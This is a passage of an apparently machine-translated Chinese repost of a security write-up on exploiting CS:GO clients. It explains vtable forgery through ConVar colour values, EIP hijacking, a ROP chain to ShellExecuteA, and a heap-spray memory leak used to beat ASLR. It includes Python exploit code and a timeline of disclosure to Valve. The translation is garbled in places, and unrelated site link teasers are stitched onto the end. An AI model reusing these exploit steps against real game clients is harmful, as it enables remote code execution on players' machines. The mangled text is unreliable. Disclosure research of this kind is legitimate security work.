前面我们也提到过OOB访问对象上的虚方法后的几条指令被调用。这通过 vtable 取消引用照常发生。这是再次提醒的代码:
由于我们通过 控制对象的内容ConVar
,我们可以简单地将 vtable 指针设置为任何值。为了使漏洞利用 100% 可靠,使用信息泄漏指向回控制数据的.data
部分是有意义的engine.dll
。
幸运的是,一些ConVars
被解释为颜色值,并期望一个4字节(?编乙略?颖甲lpha)值,其可以是攻击者控制。该值直接存储color_value
在上述struct ConVar
定义的字段中。由于 Windows 上的 CS:GO 进程是 32 位的,我们能够使用 a 的颜色值ConVar
来伪造指针。
如果我们使用伪对象的vtable指针指向 的.data
部分engine.dll
,使得被调用的方法与 重叠color_value
,我们最终可以劫持EIP
寄存器并任意重定向控制流。这个解引用链可以说明如下:
随着 ASLR 被破坏并且我们获得了任意指令指针的控制,剩下要做的就是构建一个 ROP 链,最终导致我们调用ShellExecuteA
执行任意系统命令。
我们在一份报告中向 Valve 的 HackerOne 程序提交了这两个错误,以及我们开发的证明 100% 可靠性的漏洞。不幸的是,在 4 个多月的时间里,我们甚至没有收到 Valve 代表的确认。在公众压力下,当 Valve 也明显忽略了其他具有类似影响的安全研究人员时,Valve 终于解决了许多安全问题。我们希望 Valve 重新构建其漏洞赏金计划,以再次吸引安全研究人员。
日期 (DD/MM/YYYY) | 什么 |
---|---|
04.01.2021 | 在一份报告中向 Valve 的漏洞赏金计划报告了两个漏洞 |
11.01.2021 | HackerOne 分类器验证错误并对其进行分类 |
10.02.2021 | 第一次跟进,Valve 没有回应 |
23.02.2021 | 第二次跟进,Valve 没有回应 |
10.04.2021 | 通过 Twitter 披露 Bug 的存在 |
15.04.2021 | 第三次跟进,Valve无回应 |
28.04.2021 | Valve 修补了两个错误 |
在本Uninitialized memory in HTTP downloads leads to information disclosure
节中,我们展示了 HTTP 下载如何允许我们在客户端的游戏进程中查看任意大小的未初始化内存块。
我们发现了另一条对我们来说似乎很有趣的消息:CSVCMsg_SendTable
. 每当客户端收到这样的消息时,它就会在堆上分配一个具有攻击者控制的整数的对象。最重要的是,对象的前 4 个字节将包含一个指向engine.dll
.
def spray_send_table(s, addr, nprops): table = nmsg.CSVCMsg_SendTable() table.is_end = False table.net_table_name = "abctable" table.needs_decoder = False for _ in range(nprops): prop = table.props.add() prop.type = 0x1337ee00 prop.var_name = "abc" prop.flags = 0 prop.priority = 0 prop.dt_name = "whatever" prop.num_elements = 0 prop.low_value = 0.0 prop.high_value = 0.0 prop.num_bits = 0x00ff00ff tosend = prepare_payload(table, 9) s.sendto(tosend, addr)
Windows 堆有点不确定。也就是说,malloc -> free -> malloc
组合不会产生相同的块。值得庆幸的是,Saar Amaar 发表了他关于 Windows 堆的出色研究,我们参考了这些研究以更好地了解我们的漏洞利用上下文。
SendTable
当我们将文件上传回服务器时,我们想出了一个喷雾来分配许多带有标记的对象数组以进行扫描。因为我们可以选择数组的大小,所以我们选择了一个不太常见的分配大小,以避免干扰正常的游戏代码。如果我们现在一次释放所有被喷射的数组,然后让客户端下载文件,那么其中一个文件命中先前喷射的块的机会相对较高。
在实践中,我们几乎总是在第一个文件中得到泄漏,如果没有,我们可以简单地重置连接并重试,因为我们还没有破坏程序状态。为了最大限度地成功,我们为漏洞利用创建了四个文件。这确保其中至少一个成功,否则只需再试一次。
以下代码显示了我们如何扫描接收到的内存以获取喷射对象以找到SendTable
将指向engine.dll
.
files_received.append(fn) pp = packetparser.PacketParser(leak_callback) for i in range(len(data) - 0x54): vtable_ptr = struct.unpack('<I', data[i:i+4])[0] table_type = struct.unpack('<I', data[i+8:i+12])[0] table_nbits = struct.unpack('<I', data[i+12:i+16])[0] if table_type == 0x1337ee00 and table_nbits == 0x00ff00ff: engine_base = vtable_ptr - OFFSET_VTABLE print(f"vtable_ptr={hex(vtable_ptr)}") break
本文整理自直播《Hologres 数据导入/导出实践-王华峰(继儒)》 视频链接: https:/...
前提条件 请您在购买前确保已完成注册和充值。详细操作请参见 如何注册公有云管...
在Python语言中有如下3种方法: 成员方法 类方法(classmethod) 静态方法(staticm...
2021年3月24日,主题为《数据的世界,世界的数据》的星环科技2021春季新品发布会...
从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭...
Docker生成新镜像版本的两种方式 There are two ways Docker can generate new m...
摘要 元旦期间 订单业务线 告知 推送系统 无法正常收发消息,作为推送系统维护者...
建站 什么 虚拟主机 够用?这要看搭建的是什么类型的网站。比如个人博客类型的网...
信息化2.0时代提出开展智慧教育创新发展行动。2019年2月,中共中央、国务院印发...
【51CTO.com快译】 数据可视化工具不断发展,提供更强大的功能,同时改善可访问...